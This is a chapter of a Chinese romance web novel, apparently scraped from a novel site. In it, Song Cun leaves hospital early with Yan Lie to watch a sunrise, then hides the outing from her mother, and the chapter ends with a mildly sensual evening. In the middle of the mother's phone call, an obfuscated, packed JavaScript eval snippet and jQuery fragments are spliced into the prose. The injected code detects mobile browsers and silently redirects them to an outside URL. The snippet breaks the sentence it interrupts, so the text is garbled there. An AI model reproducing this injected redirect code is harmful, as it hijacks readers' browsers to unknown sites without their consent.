隔天凌晨2点不到,宋存从医院里溜出来,入夜以后的温度很低,她在路边站了没两分钟就冷得直发抖,裹紧衣服缩成一团。
医院周围并不冷清,车轮滚动的声音时不时响起,不分白天黑夜。一辆吉普停在她面前的时候,她有点想笑,总觉得这不该出现在医院。
一上车,言列摸了摸她的手,“站多久了,是不是很冷。”
“没有啊,几分钟而已。”
他把后座上的毛毯搭在她身上,又递过去一杯热奶茶,“先拿着暖暖手。”
宋存往后看了一眼,琳琅满目的东西,还有帽子围巾手套.....和这辆彪悍的吉普一点都不搭。
“我们是要去逃难吗?”她吸了一口奶茶,问他。
他拉过安全带系好,“应该是去私奔。”
宋存抿着吸管笑了笑,“你累不累,要不要休息一会儿,或者我来开。”
转向灯嘀嗒嘀嗒的等待,言列揶揄道,“小姐,我们是去逃难,不是要去赴死。”
宋存:.....
逃离了医院,她的心情也很好,完全没有因为大晚上的而犯困,“你要不要喝什么?还有奶茶吗?”
“没了。”言列看她一眼,“你喝不下了可以给我。”
宋存握着手上的奶茶,她没有喝不下,她只是.....听明白这话中有话。
有人被奶茶吸管戳了戳嘴角.....
言列满意地喝了一大口。
她再拿回来时,吸出了咕噜咕噜的声音。
......
缓解尴尬地声音传来,“......我会再给你买的。”
一开始的时候,她还能撑着精神东拉西扯,提醒他注意安全累了就休息,困了就和她说话,要吃东西就叫她。结果红绿灯都没撑过几个,就直接歪头睡着了。
言列升高了车里的温度,给她把毯子往上提了提,取过她手里空空的奶茶杯,弯了弯嘴角。
车子到达目的地时,她还睡着,头搭下来的时候碰到了靠背边沿,把正在倒热水的言列吓得手一抖,连忙扶住她的脸。
这一磕,人自然是醒了。
“还好吗?撞到没?”
她揉了揉额头上的红印,迷糊道,“几点了?”
“四点。”
“太阳出来了吗?”
“还有十几分钟。”
她坐直了身体,接过他递在嘴边的热水,小口小口地喝,警惕地转了转眼珠,睡得太熟,完全不知道从哪里上来的。
“这里是?”她扭头看他。
“你还记不记得,以前京西有个疗养地,一大片红枫林的。”说名字她多半不记得了,这里最出名的景就是赏枫,他记得在这里的展览馆看见过她小时候的照片。
宋存恍然,“是不是还有个小的地质公园的那个。”
言列点头,“对。”
“那我来过,小时候和我外公一起,有个什么文化交流活动,我在这儿弹过琴,”
言列了然,她在弹琴的时候,他正在上面观鸟。
宋存拉开车门前往露台,俯瞰整个京西,“我记得这儿好像很多鸟的啊,怎么都没了。”
“可能和你一样,还没睡醒。”他裹了裹她身上垮着的绒毯。
宋存:.....
站了没一会儿,日出来临了。
晨曦刺破云层,金色的光如一支穿云箭。整座城市都在静默,只有太阳独自升起。
清晨的风带着露水的凉意,光线照在脸上,瞳孔也变得柔和。那枚小小的金印不断攀登,暖意从眼睛开始渗透,骨头都有些发酥。
可能是学琴久了,她一直都蛮喜欢破碎而陈旧的东西,斑驳的阳光、古树上的枯枝、布满伤痕的城墙。
从骨子里来说,她是一个念旧的人,只是这些都鲜为人知。
她伸手捏了捏他的下巴,“干嘛一直看我啊。”
他满含温柔地回她:“当然是你比较好看。”
强化的光线让她微微眯了眼,噙着一抹笑,光明正大打量他。
这居然是言列在给她说情话。
谁敢想啊,命运真是开了个天大的玩笑。
被她看得心绪难耐,扶着她的后颈,轻轻吻了上去。宋存双手搂着他的腰,一心一意和他接吻。
吻得绵长而深情。
就像这日出一样,理性上知道它不会持续太久,置身其中时,又觉得永远不会结束。
吻到她的眼睫发颤,他的喉结轻滚,也没有停止。
眼角徒增一抹冰凉,她想用手去摸摸看,却被他霸道地扣在腰间,指尖完全握住。
那滴泪顺着她的眼角,划过颧骨往下,顺着咽喉落到了心脏处。
没想到他会哭,有一点动情也有一点心疼,轻轻吮住了他的下唇,慢慢地安抚他。
结束时,他眼睛里有细碎的光,眼尾的一层薄晕,十分诱人。她情不自禁踮起脚尖,舔掉他眼尾残留的水痕。
这个带着情欲的挑衅动作,瞬间传导到头皮,一阵发麻。捏着她后颈的手不慎用力,她被迫仰头,像一只被逮捕的小动物一样无辜地看着他。
身体里翻涌的情绪如这云海一般,有棱有角又软绵绵的,拇指在她的锁骨上细细摩挲,最后还是一把将她按进了怀里。
宋存嗅到了他脖颈里,不一样的荷尔蒙味道。
她亲了一下他的喉结,被他按住头,“别闹。”
两个人在车里睡了一觉才下山,回程的路上她又睡着了,都到家了才被他叫醒。看着他有些倦怠的眉眼,愧疚感升上来。
要论起来,他也是病人,身体可能还没她恢复得好,就这样折腾来折腾去的。去看什么日出完全是临时起意,因为没事窝在医院里看了两部电影,里面恰好都有男女主一起看日出的场景,她就这样不管不顾地决定了。
“你忙不忙?”她问他。
“怎么啦?”
“如果不忙的话就上去休息吧。”
他盯着她怔楞了半秒,点了点头,“好。”
宋存能想到的休息方式就是让他好好睡个觉,赶紧去屋子里找到他上次留下的T恤,出来时,他正在沙发上闭目。
“你要直接睡觉,还是洗个澡再睡?”
“睡觉?”他看了看外面的天色,现在刚刚过了中午。
“对啊,不然你就这样坐着休息啊,又不是菩萨。”
言列接过她手上的衣服,被她逗笑,“那你呢?”
“陪你一起睡。”
“.....哦。”
洗完澡独自躺在床上,手机一整天没怎么看,有几条工作消息,回得很简短,耳朵里的水声停了,传来吹风机嘈杂的声音,他下床去关掉窗帘,短暂地回了回神。
浴室门打开时,热气涌出,夹杂着一股清新的兰花香。
她一只手撂着头发,低头看着发梢,从床尾处悠然地走过来。
言列的余光一直停在她身上。
浅绿色的真丝短裙,上短下也短,裸露的肌肤带着出浴后的白皙水润。款式倒是和上次的差不多,只是里面没穿内衣,走路时胸口的起伏一清二楚。
从侧面走向正面时,他一直在失神。
她一钻进被窝,香气就更加怡人。
宋存伸手搂住他的脖子,他拉了拉被子,“头发吹干没有?不要感冒了。”
“不会的。”她笑道,“累不累,睡一会儿吧。”
两个人就这样躺了下去,要不是她没再靠过来,他觉得这个觉能直接睡成一场春梦。
宋存是被电话吵醒的。
她按掉一次,又再来一次。看见是老妈,压着嗓子快速接了。
“你在哪?”章舒窈看了看时间,再听她的声音,心一下跳到了嗓子眼。
“我在家睡觉呢。”
“你从医院跑回去的?”她让仲姨给她送吃的,才知道她昨天就办理了出院,今天一早人都不见了,还知道先斩后奏了。
“不是跑,我和医生说好了嘛,提前一天出院,在医院里待着多无聊啊,回家还能练练琴。”她小心翼翼起身,带上了门。而且她明明说过的。
“你真在自己家?”章舒窈质疑。
“不然呢,要不要我给你拍张照。”她理直气壮道。
“你一个人在家晚上吃什么?要不要我让司机来接你。”
宋存手指戳着窗户,“不用了,都快六点了,一来一回的麻烦,我在楼下吃饭,改天再回来。”
章舒窈没再说话,她自知不可能绑着她,叮嘱她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289119|171911||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好好休息,练琴的事不急。宋存挂完电话后,彻底松了一口气。
其实如果老妈问的话,她一定会实话实说的,可章舒窈就是不问,她也不想惹她教导。
她又悄悄溜进了卧室,刚一躺下,言列手就伸了过来,拢在她裸露的肩头。宋存拍拍他,“我是不是吵醒你啦。”
他没正面回答,“谁给你打电话?”
“我妈妈,问我晚上吃什么。”
言列没拆穿,他都听到了,但是不准备追究,“那你晚上想吃什么?”
“你有没有想吃的,要不出去吃吧,这附近很多吃的。”
他亲了亲她的脸颊,说好。
吃完饭,她也没再留他,让他好好回家休息,自己左思右想觉得是有些不妥,出院的事怎么都应该告诉老妈一声的,是她谈恋爱忘乎所以了。
索性打了车回趟家。老妈的脾气她最知道,回去服个软比什么都强。
隔周拍完片,终于取掉了指夹板,手指还有些僵直,考虑到她的特殊情况,康复科的医生会诊后,又给了一套后续治疗方案。
拍片的结果比较理想,对自己的手,她其实心理有数,倒不是太过担心,已经开始恢复练琴。
言列白天要上班,基本都是晚上来看她,有时应酬到太晚,不能来也会给她打个电话。这段时间得了闲,她很多时间都在家看书听音乐。
她其实是一个很宅的人。
晚上没什么事时,她会在家里选部电影来看,公司给她接的配乐工作,很多都是因为她自己喜欢。
她不太喜欢去电影院追热潮,最舒服的状态就是在忙完一天的正事后,洗个澡窝在沙发里,看一部老片子,意犹未尽还会大晚上的去搜解读。
今天她选了一部讲南法小镇的电影,配得是自己榨的柳橙汁。
电影在客厅里放映,她收拾完厨房,刚好正片开始。转换了几个绝美的空境,一个穿碎花裙的小女孩从白色木栏后刚刚出现,门铃就响了起来。
她起身去开门。
借着电影的光,她没开灯,只够看清他朦朦胧胧的轮廓,柔和的眉眼下,泛着淡淡的倦怠。
莫名有一点危险。
“你不是说晚上有事吗?”宋存把他让进屋,他的拖鞋规整地放在门口。
“办完了。”是有个应酬,说什么都心不在焉的,索性提前离开了,出了趟差,有好几天都没见到她了。
宋存帮忙拿过他的西装外套,丝绸内里还残留着他的温度,她不自觉就抱在了胸前。
“你在看电影?”他望一眼客厅的投幕。
“嗯,刚开始。”
“那我陪你一起看。”
宋存自然不会拒绝,挂好他的西装,走几步去拉冰箱门,“我家里好像没有蜂蜜诶,就喝普通的水可以吗?”
“好。”他哑声道。屋子里没开灯,荧幕的光打在她的腰臀线上,贴肤的丝绸材质,波光粼粼。
吹了一路的风,早该散掉的酣热气又袭了上来。
今晚顶多喝了两杯红酒,连味道都快忘了,此刻却觉得醉。
宋存将杯子递给他,看向他迷醉的眼睛,“怎么啦,不舒服吗?”
他拉下她的手,将杯中的水一饮而尽。宋存被他快速滚动的喉结吸引,莫名觉得这个动作涩气满满。
她手指捏着身上的绒毯,盖住了一部分身体,这个防备的动作被喝水的人透过玻璃杯逮了个正着。
电影放映了十分钟还不知道人物关系,她拘谨地递了个抱枕过去,隔在两人中间,转身面对着荧幕。
心跳快得像自己喝了酒,手撑在颈后,有一下没一下地按,试图得到一点安宁。
这部电影是温情向的,明快开朗的基调,没什么值得脸红心跳的地方。
发生点什么也不奇怪吧,都是成年人了,就算是发生在之前她也不反对的啊。可是之前没发生啊,她就觉得可能还是要等一等的。
而且....家里没套啊。
思绪有点乱,颈后的头发被她搓出了静电,黏在皮肤上。还好现在光线暗,应该看不出什么端倪来。
她还在陷入自我开解中,丝毫没察觉到有一只手探入了她的后颈,言列扔掉碍事的抱枕,气息靠近,耳畔传来呢喃,“别摸了,我来。”